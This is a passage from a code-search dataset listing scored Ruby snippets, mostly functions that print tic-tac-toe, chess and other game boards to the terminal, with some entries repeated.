"text": "def show_board\n # Show empty board at initialization and get variable at each player turn\n puts \" 1 2 3\"\n puts \" a #{@A1.content} | #{@A2.content} | #{@A3.content}\"\n puts \" ---------\"\n puts \" b #{@B1.content} | #{@B2.content} | #{@B3.content}\"\n puts \" ---------\"\n puts \" c #{@C1.content} | #{@C2.content} | #{@C3.content}\"\n\n end",
"title": ""
},
{
"docid": "acd318c009f6d71d3b37269ac1956efb",
"score": "0.7035522",
"text": "def print_board\n\n\t\[email protected]_with_index do |row, i|\n\n\t\t\trow.each do |space|\n\n\t\t\t\tprint \"|#{space}|\"\n\n\t\t\tend\n\n\t\t\tif i == 2\n\t\t\t\tputs \"\"\n\t\t\telse\n\t\t\t\tputs \"\"\n\t\t\t\tputs \"---------\"\n\t\t\tend\n\n\t\tend\n\n\tend",
"title": ""
},
{
"docid": "575c1ad928548f72ca16073d4255b79a",
"score": "0.70277566",
"text": "def play_Print()\n\t \n\t\tloop do \n\t\t\t#call the method set position returning player and position\n\t\t\tboard_table.printBoard(@board_table, @board_table.getBoardDimension())\n\t\t\tposition = player1.getMove(board_table.getBoard())\n\t\t\tboard_table.setPosition(player1,position)\n\t\t\tbreak if board_table.anyMoveLeft?() == false || board_table.check_winner(player1) == true\n\n\t\t\tboard_table.printBoard(@board_table, @board_table.getBoardDimension())\n\t\t\tposition = player2.getMove(board_table.getBoard())\n\t\t\tboard_table.setPosition(player2,position)\n\t\t\tbreak if board_table.anyMoveLeft?() == false || board_table.check_winner(player2) == true\n\t\tend\n\t\t\tboard_table.printBoard(@board_table, @board_table.getBoardDimension())\n\t\treturn board_table.results(board_table,player1,player2)\n\tend",
"title": ""
},
{
"docid": "1d8a5f86c7601e5dbffb27a11092e8ef",
"score": "0.7027174",
"text": "def display_board\n puts \" | | \" \n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "00ee16a087d085694df315d28c0fcbb8",
"score": "0.7024065",
"text": "def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"title": ""
},
{
"docid": "59b30e7876b0b498649ad80d6c22a683",
"score": "0.702382",
"text": "def display_board(board, round, player_score, computer_score)\n system('clear') || system('cls')\n puts \"Round #{round}\"\n puts \"Player: #{player_score} Computer: #{computer_score}\"\n puts \"You are a #{PLAYER_MARKER}. \" \\\n \"Computer is #{COMPUTER_MARKER}\"\n puts ''\n puts 'BOARD MAPPING'\n puts ' 7 | 8 | 9 '\n puts '---+---+---'\n puts ' 4 | 5 | 6 '\n puts '---+---+---'\n puts ' 1 | 2 | 3 '\n puts ''\n puts 'GAME BOARD'\n puts ' | |'\n puts \" #{board[7]} | #{board[8]} | #{board[9]}\"\n puts ' | |'\n puts '-----+-----+-----'\n puts ' | |'\n puts \" #{board[4]} | #{board[5]} | #{board[6]}\"\n puts ' | |'\n puts '-----+-----+-----'\n puts ' | |'\n puts \" #{board[1]} | #{board[2]} | #{board[3]}\"\n puts ' | |'\n puts ''\nend",
"title": ""
},
{
"docid": "ca1998d2b9cb84f2b155244620dce039",
"score": "0.70213896",
"text": "def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "ca1998d2b9cb84f2b155244620dce039",
"score": "0.70213896",
"text": "def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"title": ""
},
{
"docid": "27b0b823edc2258b7e7a3d6405970e74",
"score": "0.70188606",
"text": "def display_board\n puts \" #{@letter[0]} | #{@letter[1]} | #{@letter[2]} \"\n puts \" -------------\"\n puts \" #{@number[0]}| #{@board_array[0]} | #{@board_array[1]} | #{@board_array[2]} |\"\n puts \" |-----------|\"\n puts \" #{@number[1]}| #{@board_array[3]} | #{@board_array[4]} | #{@board_array[5]} |\"\n puts \" |-----------|\"\n puts \" #{@number[2]}| #{@board_array[6]} | #{@board_array[7]} | #{@board_array[8]} |\"\n puts \" ------------\"\n end",
"title": ""
},
{
"docid": "beaad574b2978bf15a23244efee77890",
"score": "0.7018544",
"text": "def show_board\n puts \" \" + board_spaces[1] + \" | \" + board_spaces[2] + \" | \" + board_spaces[3] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[4] + \" | \" + board_spaces[5] + \" | \" + board_spaces[6] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[7] + \" | \" + board_spaces[8] + \" | \" + board_spaces[9] + \" \"\n end",
"title": ""
},
{
"docid": "ffce8b714a8c5ef78060a01328fe338b",
"score": "0.7012871",
"text": "def game_board_display(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n\n end",
"title": ""
},
{
"docid": "cdcff65008c759884d8909ea9f72bf55",
"score": "0.7008545",
"text": "def display_board(brd)\n puts \"You are #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"title": ""
},
{
"docid": "9d163e95d37180ff97bc0d35aff5d290",
"score": "0.70049757",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "b5e3a8d962668263a8d9b8b8e10c269e",
"score": "0.69994277",
"text": "def display_board\n\t\tsystem \"clear\" or system \"cls\"\n\t\tprint \" 1 2 3 4 5 6 7 8 \\n\\n\"\n\t\t(0..7).each do |row|\n\t\t\tprint \"#{(row+97).chr} \"\n\t\t\t(0..7).each do |collumn|\n\t\t\t\tprint \"#{@board[row][collumn]} \" if @board[row][collumn] == \"X\"\n\t\t\t\tprint @board[row][collumn].to_s + \" \" if @board[row][collumn].is_a?(Piece)\n\t\t\tend\n\t\t\tprint \" #{(row+97).chr} \"\n\t\t\tputs\n\n\t\tend\n\t\tprint \"\\n 1 2 3 4 5 6 7 8 \\n\"\n\tend",
"title": ""
},
{
"docid": "cd0b2a37bacfbb23f3e90959fca3935a",
"score": "0.69949687",
"text": "def print_boards\n\t\tputs \" SHIP STATUS SHOTS TAKEN\".colorize(:light_red)\n\t\tputs \" 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10\".colorize(:green)\n\t\trow_letter = ('A'..'Z').to_a\n\t\trow_number = 0\n\t\[email protected] do |row1|\n\t\t\tprint row_letter[row_number].colorize(:green) + ' '\n\t\t\tprint_cell(row1)\n\t\t\tprint \" \"\n\t\t\tprint row_letter[row_number].colorize(:green) + ' '\n\t\t\tprint_row_number(row_number)\n\t\t\tprint \"\\n\"\n\t\t\trow_number += 1\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1f5a9173006d63c375d742e585bd0ded",
"score": "0.69931525",
"text": "def display_board(brd)\n puts green(\"You're #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\")\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"title": ""
},
{
"docid": "990b283e80476cb0dc0f6effb324bcf0",
"score": "0.69929105",
"text": "def display_board\n\t\tputs \"\\n\\n\"\n\t\tprint \"|\\u2460 |\\u2461 |\\u2462 |\\u2463 |\\u2464 |\\u2465 |\\u2466 |\"\n\t\[email protected] do |row|\n\t\t\tprint \"\\n|\"\n\t\t\trow.each {|x| print \"#{x.to_c} |\"} \t\t\t\n\t\tend\n\t\tputs \"\"\n\tend",
"title": ""
},
{
"docid": "ba7367b704137181a1f7a48107012460",
"score": "0.69922614",
"text": "def show()\n\t\tputs (' \t|\t' + ' \t|\t')\n\t\tputs (@@board[7] + '\t|\t' + @@board[8] + '\t|\t' + @@board[9])\n\t\tputs ('------------------------------------')\n\t\tputs (@@board[4] + '\t|\t' + @@board[5] + '\t|\t' + @@board[6])\n\t\tputs (' \t|\t' + ' \t|\t')\n\t\tputs ('------------------------------------')\n\t\tputs (@@board[1] + '\t|\t' + @@board[2] + '\t|\t' + @@board[3])\n\t\tputs (' \t|\t' + ' \t|\t')\n\tend",
"title": ""
},
{
"docid": "7c6ff4ba66a0181ae278b5790287941c",
"score": "0.69913775",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"---------------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"---------------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "06d30f3758406b665a0f8150359791c4",
"score": "0.69908327",
"text": "def display_board\n\n puts \" #{@board[0].mark} | #{@board[1].mark} | #{@board[2].mark} \"\n puts \"-----------\"\n puts \" #{@board[3].mark} | #{@board[4].mark} | #{@board[5].mark} \"\n puts \"-----------\"\n puts \" #{@board[6].mark} | #{@board[7].mark} | #{@board[8].mark} \"\n end",
"title": ""
},
{
"docid": "aa277617beff8ec2845e5a897a88e1b7",
"score": "0.6985927",
"text": "def show_board\n\t\[email protected] do |space|\n\t\t\tif !(space.class == String)\n\t\t\t\tif (space.type == 'pawn') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2659\" + \" \"\n\t\t\t\telsif (space.type == 'pawn') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265F\" + \" \"\t\n\t\t\t\telsif (space.type == 'rook') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2656\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'rook') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265C\" + \" \"\t\t\n\t\t\t\telsif (space.type == 'knight') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2658\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'knight') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265E\" + \" \"\t\n\t\t\t\telsif (space.type == 'bishop') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2657\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'bishop') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265D\" + \" \"\t\n\t\t\t\telsif (space.type == 'queen') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2655\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'queen') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265B\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'king') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2654\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'king') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265A\" + \" \"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\tprint space\n\t\t\t\tend\n\t\t\telsif !(space == \"\")\n\t\t\t\tprint space + \" \"\n\t\t\telse\n\t\t\t\tputs space + \" \"\n\t\t\tend\n\t\tend\n\t\tputs \"---------------\"\n\tend",
"title": ""
},
{
"docid": "63d0570c2bab4c0705f17d8d316d57a1",
"score": "0.6984544",
"text": "def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "63d0570c2bab4c0705f17d8d316d57a1",
"score": "0.6984544",
"text": "def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "8eeaf8beb2ef22bd2b3aff33ad87ad76",
"score": "0.6979796",
"text": "def display_board\r\nprint \" #{@board[0]} | #{@board[1]} | #{@board[2]} \\n\"\r\nprint \"-----------\\n\"\r\nprint \" #{@board[3]} | #{@board[4]} | #{@board[5]} \\n\"\r\nprint \"-----------\\n\"\r\nprint \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\nend",
"title": ""
},
{
"docid": "9e943a4e3cedf4a4c441e6c26cd577f8",
"score": "0.6978196",
"text": "def display_board(some_array,some_letter) \n include FormatBoard\n \n if some_letter == \"X\" \n other_letter = \"O\"\n else\n other_letter = \"X\"\n end\n\n#converts the game array to a usable string\n def make_sentence(array) \n\tsentence = \"\"\n\tarray.each do |mini_arrays|\n mini_arrays.each do |element|\n sentence << \"a#{element}a \"\n end\n end \n \n\tsentence\n end\n\n some_array_string = make_sentence(some_array)\n sep_strings = some_array_string.split(' ')\n\n board_hash = {\"a1a\" => \"#{some_letter}\", \"a10a\" => \"#{other_letter}\", \"aa\" => \"?\"}\n\n print \"\\n\\n\"\n center2\n puts \"CURRENT BOARD\"\n center2\n puts \"_____________\"\n print \"\\n\\n\"\n center; 3.times{print \"_ \"} \n print \"\\n\\n\"\n center; print board_hash[sep_strings[0]] + \" \" + board_hash[sep_strings[1]] + \" \" + board_hash[sep_strings[2]];puts\n center; print board_hash[sep_strings[3]] + \" \" + board_hash[sep_strings[4]] + \" \" + board_hash[sep_strings[5]];puts\n center; print board_hash[sep_strings[6]] + \" \" + board_hash[sep_strings[7]] + \" \" + board_hash[sep_strings[8]];puts\n center; 3.times{print \"_ \"}; puts; puts\n \n some_array\n \n end",
"title": ""
},
{
"docid": "38804351145c62dd2e230ba7c0b4ae96",
"score": "0.69713885",
"text": "def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend",
"title": ""
},
{
"docid": "d1609bd2863ce8b99a41ee2296388a37",
"score": "0.6969658",
"text": "def show_board_game(current_game)\n puts \"#{current_game.players[0].name.capitalize} #{current_game.players[0].avatar} #{current_game.players[0].symbol} \\u{1F19A} #{current_game.players[1].name.capitalize} #{current_game.players[1].avatar} #{current_game.players[1].symbol}\"\n puts \"\"\n for i in 0..2 do\n puts \"----------------\"\n for j in 0..2 do\n print \"| #{current_game.board.boardcase[i][j].content} \"\n end\n puts \"|\"\n end\n puts \"----------------\"\n end",
"title": ""
},
{
"docid": "165c6bebdeacb15155078ce6064e28d0",
"score": "0.69665337",
"text": "def display_board(board)\n system 'clear'\n puts \"Player : #{PLAYER_MARKER}\"\n puts \"Computer: #{COMPUTER_MARKER}\"\n puts \"\"\n puts \" | |\"\n puts \" #{board[1]} | #{board[2]} | #{board[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{board[4]} | #{board[5]} | #{board[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{board[7]} | #{board[8]} | #{board[9]}\"\n puts \" | |\"\n puts \"\"\nend",
"title": ""
},
{
"docid": "10bcc5faaf4a80c73fed00caf231cea7",
"score": "0.69630444",
"text": "def print_board\n\t\tprint \"\\n\"\n\t\t(0..2).each do |row|\n\t\t\t(0..2).each do |column|\n\t\t\t\tprint @board[row][column]\n\t\t\t\tprint \" | \" unless column == 2\n\t\t\tend\n\t\t\t\n\t\t\tprint \"\\n---------\\n\" unless row == 2\n\t\tend\n\t\tprint \"\\n\\n\"\n\tend",
"title": ""
},
{
"docid": "34723b24c5fd21b7ba163dc24b31323d",
"score": "0.69611925",
"text": "def boardprint\n p @board\n puts \"#{@words}\" + \" words\"\n puts \"#{@phraseletters}\" + \" letters overall\"\n puts \"#{guess_count}\" + \" guesses made / \"\"#{@guesses_remaining}\" + \" guesses remaining\"\n puts \"#{@remaining}\" + \" letters remaining\"\n end",
"title": ""
},
{
"docid": "c60ec07f8a27ac2748c085fa498ecc98",
"score": "0.6954909",
"text": "def draw_board\n\t\tputs \"#{@board[\"a1\"]} | #{@board[\"a2\"]} | #{@board[\"a3\"]}\"\n\t\tputs \"-----------\"\n\t\tputs \"#{@board[\"b1\"]} | #{@board[\"b2\"]} | #{@board[\"b3\"]}\"\n\t\tputs \"-----------\"\n\t\tputs \"#{@board[\"c1\"]} | #{@board[\"c2\"]} | #{@board[\"c3\"]}\"\n\tend",
"title": ""
},
{
"docid": "48d4fcbe3119e831c4925dbf9d41d4b9",
"score": "0.695016",
"text": "def display_board(brd, score_board)\n system 'clear'\n puts \"Best of 5! Currently Player is on #{score_board[:player]}\"\n puts \"and the computer is on #{score_board[:computer]}\"\n puts \"You're a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"_____+_____+_____\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"_____+_____+_____\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\nend",
"title": ""
},
{
"docid": "dc60429c02627e2b757333f95150499e",
"score": "0.6947966",
"text": "def display\n @board.each { |x| \n puts x.join(\" \")\n }\n end",
"title": ""
},
{
"docid": "dd6e851b5199a6aca1f6e309eb69c3ed",
"score": "0.69342524",
"text": "def print_board\n if @board.nil?\n puts \"Board not initialized\"\n elsif @board.respond_to?(\"each\")\n @board.each do |row|\n row.each do |cell|\n print \"#{cell} \"\n end\n puts \"\\n\"\n end\n end\n puts \"\\n\"\n end",
"title": ""
},
{
"docid": "a124cd9511c895c5a18f3fdfac05ab28",
"score": "0.69275",
"text": "def display_board\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\nend",
"title": ""
},
{
"docid": "283e7253429d899484eac7abf2e2b7df",
"score": "0.69210476",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "760483e5c87b00a5b27b21345793de36",
"score": "0.6909033",
"text": "def show_user_board\n puts @player_board.render(true)\n end",
"title": ""
},
{
"docid": "17d89a3cb3e2a4d7291b403f8e12ae2b",
"score": "0.6904762",
"text": "def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"title": ""
},
{
"docid": "3d44a98b695452ed69344c22b19c3bfa",
"score": "0.690228",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "29aa9e5950ca952967413571b4dab29c",
"score": "0.6900356",
"text": "def drawBoard\n @board.each do |element|\n print \"#{element} \"\n puts \"\"\n end\n end",
"title": ""
},
{
"docid": "18336118b47344bcb915c7ad3ab8af94",
"score": "0.6896817",
"text": "def display\n system('clear')\n puts\n # show board with pieces\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\\n\\n\"\n print \"\\t +\", \" ----- +\"*8,\"\\n\\n\"\n 8.downto(1) do |rank|\n print \"\\t#{rank} |\\t\"\n 'A'.upto('H') do |file|\n if board[\"#{file}#{rank}\".to_cell] then piece = board[\"#{file}#{rank}\".to_cell]\n else piece = \" \"\n end\n print \"#{piece} |\\t\"\n end\n print \"#{rank}\\n\\n\\t +\", \" ----- +\"*8,\"\\n\\n\"\n end\n print \"\\t\\tA\\tB\\tC\\tD\\tE\\tF\\tG\\tH\"\n puts \"\\n\\n\"\n # show occupancy\n print \" White occupancy: \"\n puts whitePieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n print \" Black occupancy: \"\n puts blackPieces.to_cells.map{ |cell| cell.to_square}.join(\", \")\n puts\n # show whose move it is\n case @whitesMove\n when true\n puts \" WHITE to move.\"\n when false\n puts \" BLACK to move.\"\n end\n puts\n end",
"title": ""
},
{
"docid": "df5405d8a8e92655b07b9986e395af5c",
"score": "0.68961865",
"text": "def show_board # show the game board\n print @board[0..2]\n puts \"\\n\"\n print @board[3..5]\n puts \"\\n\"\n print @board[6..8]\n puts \"\\n\"\n end",
"title": ""
},
{
"docid": "abbd5e7be3dbf41a9bc6f796e23a4432",
"score": "0.68941647",
"text": "def draw_board()\n @board\n p \"#{@board[0]} || #{@board[1]} || #{@board[2]}\"\n p \"===========\"\n p \"#{@board[3]} || #{@board[4]} || #{@board[5]}\"\n p \"===========\"\n p \"#{@board[6]} || #{@board[7]} || #{@board[8]}\"\n puts \"\\n\"\n puts \"\\n\"\n end",
"title": ""
},
{
"docid": "b11ca3886c9b067038e38c8c5a8434d8",
"score": "0.6892751",
"text": "def print\n displayBoard = []\n @board.each_with_index { |elem, index|\n if index % @columns == 0\n displayBoard.push(\"\\n\")\n end\n displayBoard.push(elem)\n }\n puts displayBoard.join\n end",
"title": ""
},
{
"docid": "2d5f88c833dcfd816f11055c439f9cb5",
"score": "0.68903744",
"text": "def print_game_board(game_board)\n puts game_board[0].join(\" | \")\n puts \"-------------------------\"\n puts game_board[1].join(\" | \")\n puts \"-------------------------\"\n puts game_board[2].join(\" | \")\n puts \"-------------------------\"\n puts game_board[3].join(\" | \")\n puts \"-------------------------\"\n puts game_board[4].join(\" | \")\n puts \"-------------------------\"\n puts game_board[5].join(\" | \")\n puts \"-------------------------\"\n puts game_board[6].join(\" | \")\nend",
"title": ""
},
{
"docid": "0015ce00c87b27e3de13c3f7daee5efd",
"score": "0.68899983",
"text": "def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"title": ""
},
{
"docid": "0015ce00c87b27e3de13c3f7daee5efd",
"score": "0.68899983",
"text": "def display_board\r\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\r\n puts \"-----------\"\r\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\r\n end",
"title": ""
},
{
"docid": "fef6a859e2cf1226f3d551dcb2ddacaf",
"score": "0.6888688",
"text": "def display_board\n puts \" \" + (\"_\" * 47)\n 8.downto(1) do |l|\n puts \" \" +(\"| \" * 8 ) + \"|\"\n puts \" #{l} | \" + @board[l-1].join(\" | \") + \" |\"\n puts \" \" +(\"|_____\" * 8 ) + \"|\"\n end\n puts (\" \" * 8) + ('a'..'h').to_a.join(\" \")\n end",
"title": ""
},
{
"docid": "2b2ae6714dfcb62c0559c38b8e7b81f5",
"score": "0.6878523",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \" \n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "4356717a7331f9849e5a5f50a7037c55",
"score": "0.6877399",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "0eb7df6f0c80ea64fb1f2731adf9d0cb",
"score": "0.68755764",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts '---------------'\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts '---------------'\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "fb11822c6725281f7690fc1e53365c46",
"score": "0.6867659",
"text": "def printBoard(board)\n\tputs \"#{board[7]} | #{board[8]} | #{board[9]}\"\n\tputs \"--+---+--\"\n\tputs \"#{board[4]} | #{board[5]} | #{board[6]}\"\n\tputs \"--+---+--\"\n\tputs \"#{board[1]} | #{board[2]} | #{board[3]}\"\nend",
"title": ""
},
{
"docid": "c4ade7ab1e61d338870fbd61fe835146",
"score": "0.6867569",
"text": "def display_board(gameState)\n puts \" #{gameState[0]} | #{gameState[1]} | #{gameState[2]} \"\n puts \"-----------\"\n puts \" #{gameState[3]} | #{gameState[4]} | #{gameState[5]} \"\n puts \"-----------\"\n puts \" #{gameState[6]} | #{gameState[7]} | #{gameState[8]} \"\nend",
"title": ""
},
{
"docid": "74601b0b51b4b8daec2eea4a989019b3",
